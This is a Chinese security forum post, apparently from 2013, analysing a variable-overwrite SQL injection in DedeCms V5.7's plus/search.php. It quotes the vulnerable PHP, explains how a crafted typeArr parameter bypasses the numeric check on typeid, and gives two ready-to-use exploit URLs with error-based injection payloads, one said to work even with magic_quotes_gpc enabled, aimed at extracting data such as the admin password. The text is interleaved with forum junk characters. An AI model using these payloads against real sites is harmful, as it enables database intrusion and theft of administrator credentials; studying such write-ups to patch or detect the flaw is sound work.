找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2247|回复: 0
打印 上一主题 下一主题

DedeCms V57 plus/search.php文件SQL注射

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-19 08:18:56 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.
& n/ k9 s+ Z2 S/ N. l作者: c4rp3nt3r@0x50sec.org/ V/ D% W4 g' g! p
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
, V0 n* d  w& b, M+ V . }8 c% U$ H4 D8 n9 g$ O
黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.0 H% l* _$ ~& p  u" D
; X* [2 t, A, ^5 o* x7 @0 e
============( G2 V1 X0 k2 @5 d3 |

2 W. W' A7 V5 @, q( m3 d ; o: I) B& Y& ~" r
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.# F* H, N6 m4 O7 `

1 r/ ^1 h$ \: Q, Yrequire_once(dirname(__FILE__).”/../include/common.inc.php”);
( U2 K: f( w) B! z4 wrequire_once(DEDEINC.”/arc.searchview.class.php”);
) `- T0 R! d" e5 h$ t+ T. _4 ~ 6 i0 g: o  C- u3 t; P9 n
$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;
( b2 u7 X' a" Z8 I! t2 w6 p$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;
1 i+ b1 ^: _- B" w( X$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;
, Y' e; ~' a$ C7 z! P5 w% L$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;
9 F$ q6 J8 ~+ ^: N0 E$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;8 {1 \* Z+ x: a4 d6 E5 n9 C
, L" `1 m7 `* q% N' X) b: P% Y
if(!isset($orderby)) $orderby=”;, B% O. f/ O0 {8 E& o
else $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);- U0 Q& f- [( X) \" ^

9 {1 ~5 F1 O* X
% z# X, j7 E. H- d4 s5 G3 Xif(!isset($searchtype)) $searchtype = ‘titlekeyword’;
) t' |  c  S) v" U" d1 Z) U9 Lelse $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);
( C( u2 |* ~+ q  P" ?+ i6 z$ q % r  Z# u1 P0 e  J, X  N
if(!isset($keyword)){6 `  S& Z& U' Z; I- h; D
    if(!isset($q)) $q = ”;
) R$ W8 r! w* I/ {) O; \    $keyword=$q;
: Q* J- ]% {3 o+ @# R}
, Z/ f) ^6 `# H$ E8 {; t 6 H" b* @. n* ?8 u6 j" ^
$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));
, T3 z, v$ q" j9 V+ K2 z+ q ! V4 S' u) y5 |. S/ }- v* s
//查找栏目信息
* j7 V. r7 s, h( J8 Zif(empty($typeid))
5 L$ b4 e! F6 A% k{
( s+ D- A- Y/ |% H0 l    $typenameCacheFile = DEDEDATA.’/cache/typename.inc’;
3 n: x( c9 |% G  ?8 g    if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )
8 [7 d. P( q6 \* a    {" h' [; \( f* t
        $fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);
0 _4 z: i0 g" n7 e/ o5 _        fwrite($fp, “<”.”?php\r\n”);
1 \3 [! ]/ g( u1 g5 B4 y- G        $dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);% o" s/ |0 e; y- v" n3 ^: s
        $dsql->Execute();# `/ s9 Q# q$ o0 n& R1 ~3 I
        while($row = $dsql->GetArray())
  Z7 C! {( f* W7 j3 j# ?        {& S# F5 _- `: v
            fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);
4 e* j- x1 r( P% ]1 `5 s) q        }$ Y. {' a# T1 `8 t- e
        fwrite($fp, ‘?’.'>’);' g& F: `! X' Y4 @; O/ u& D6 _& \
        fclose($fp);# ?; q$ x9 g" v6 [8 _7 I
    }
. E  i8 V6 H4 G" |0 |2 d& f: i) j0 g    //引入栏目缓存并看关键字是否有相关栏目内容* X4 H, \. e0 F! Q7 J& E5 N1 H
    require_once($typenameCacheFile);# ~4 n. T& Q6 R* m/ k3 y. B
//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个
. W) _" ?, \9 D//& ?5 L% [5 |8 r% C. ?
    if(isset($typeArr) && is_array($typeArr))6 ]' R- |0 A+ o7 h" k
    {$ ^7 j3 _+ _! J) ?# R
        foreach($typeArr as $id=>$typename)5 {9 _1 e) [' E8 U( Y! Z" S
        {. A2 J' p5 V4 M; N# K# L
* @) q( h. Q: j+ t5 r7 w6 _4 i- K( N6 B. y
            <font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font>  //这个地方要绕过
/ W9 t3 f( B+ n' \0 Q) c" s: ]            if($keyword != $keywordn)2 F$ s2 V9 f; S3 s$ K. `
            {
- h; ]/ x# \( ?  x                $keyword = $keywordn;
! o( f! p! O+ U3 _& }! v! a                <font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设; t7 G5 o+ U, o
                break;
8 c! W- j5 S7 g% [# j2 P7 ?; S% ?            }
4 h4 p4 X' W( t4 ~9 w  W. G) t        }
  E4 v' _  v/ I$ W- ?6 G$ y    }& l( T4 z5 O) |& P. {6 n) r
}
4 T* B7 X  d9 u0 R% I; e8 B然后plus/search.php文件下面定义了一个 Search类的对象 ./ S0 X: s. S% g
在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.
# c! G3 ?# `! `% b: X/ y+ X# L$this->TypeLink = new TypeLink($typeid);
/ z' Z/ _- T- [- v & [" l& \6 r- x2 P8 i
TypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句./ _! x/ W2 \( B/ ~; }

8 f/ ^: D/ M7 q. O8 T1 S( gclass TypeLink
6 c# q& F+ g+ {) ?: W{
8 I% `- A2 Q- V    var $typeDir;+ A- p! b9 u& [+ t
    var $dsql;1 L' ]# C8 P- ?- q! U
    var $TypeID;
9 L: Q8 R2 y* B3 w    var $baseDir;1 i5 D6 V- l4 s( k1 `) E: F
    var $modDir;/ X6 x9 h! Q# k* l0 L4 R: u* ~
    var $indexUrl;
  \- E: R% t* ^5 e5 v3 {    var $indexName;+ ^6 f9 d) l/ t) i" w
    var $TypeInfos;4 O; E+ L5 `( p0 o3 Y& G- O
    var $SplitSymbol;$ y* s( d* Y" o) F
    var $valuePosition;
- Y1 L8 U* {; P3 ?    var $valuePositionName;6 Z8 d& U3 R3 g' E# e. E5 s7 N7 v
    var $OptionArrayList;//构造函数///////
. E( f. f! [! s1 i1 U2 y" h; [    //php5构造函数
% V8 E9 G" p& o8 f# P    function __construct($typeid)
' x: _5 d1 g$ B9 q. ^    {
* ]/ `$ @- r8 e2 Q* y        $this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];: d/ V. ^8 U3 u7 G7 b6 Z
        $this->indexName = $GLOBALS['cfg_indexname'];
% A$ o, o5 Q' d' U& e+ q        $this->baseDir = $GLOBALS['cfg_basedir'];& I* H( O* x' v. }7 Q
        $this->modDir = $GLOBALS['cfg_templets_dir'];
3 n6 f  D3 {3 f: e        $this->SplitSymbol = $GLOBALS['cfg_list_symbol'];$ G& r9 \) r% a2 Z+ I1 T
        $this->dsql = $GLOBALS['dsql'];9 h* `/ y- p1 h
        $this->TypeID = $typeid;, u6 U& g7 m! X0 x: Y) ?  p3 Q! ?
        $this->valuePosition = ”;
; x$ l. n# W) G2 j        $this->valuePositionName = ”;
1 K( f& c* }4 ?( j        $this->typeDir = ”;: Z" ?& z: L& t
        $this->OptionArrayList = ”;9 O& ~6 I9 {/ A8 p, t
+ o, H& a- E* [& U$ f/ Z: Q
        //载入类目信息0 d4 z- {/ z, @" Q8 S* M; Y! M9 D9 F

! Q$ `8 v& {7 X8 O        <font color=”Red”>$query = “SELECT tp.*,ch.typename as
- b4 k8 j! `# m5 Fctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join% A5 K9 J* Y3 n0 \/ d, \: g7 |
`#@__channeltype` ch" `* X/ y/ E( X* c4 C8 ^
        on ch.id=tp.channeltype  WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿% M8 Y9 L" Z$ P" W5 q6 o
  ?3 @0 Q0 y8 u* Z
        if($typeid > 0)
6 E9 G0 @* A# v        {- P# H# i; k# v4 n2 A. y
            $this->TypeInfos = $this->dsql->GetOne($query);& G( e3 k6 L7 x
利用代码一 需要 即使magic_quotes_gpc = Off
9 L0 g3 Y4 M, l: s/ y- t7 O( v
8 r) j# W' q: @# hwww.political-security.com/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title, c* O6 ]% X% d+ c& c

# s) H& O5 q7 Q8 o) B; l" l, f这只是其中一个利用代码… Search 类的构造函数再往下- p% ]- [4 J  A# ]7 ]; Y2 _

& g' l" x9 c! E' X+ D+ V3 D8 @+ Z! n……省略7 n4 |; F, `* ~* W+ a$ L
$this->TypeID = $typeid;
( N# f$ C3 P& t9 M0 o……省略
! z- P1 I/ x% e6 C; M/ ]) M% \5 [if($this->TypeID==”0″){1 S6 h3 V% d! |% z3 z# [" |
            $this->ChannelTypeid=1;5 F1 Q* t: Y- r- \' r0 l: t
        }else{
& o) e; ?" r) r) U" E( Y: E            $row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲
* ]& ]1 v0 E- U% P8 J8 L9 ?6 h2 R//现在不鸡肋了吧亲…( n5 }  l' h6 U
            $this->ChannelTypeid=$row['channeltype'];2 l2 X& R5 s: `* K

* k! m: e* `1 P& Z1 M        }
) E" Q# C  ~5 l+ ]0 R) \2 \' `利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.
4 e; u. w& |6 A : Q7 o. g9 t4 Y. o/ _. r5 s7 S% I
www.political-security.com /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title
, i3 f9 q( C5 P( d4 M/ Q- z / J( ^0 ]/ O* Z- L7 u
如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站1 I0 W, f, N5 x& Z
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表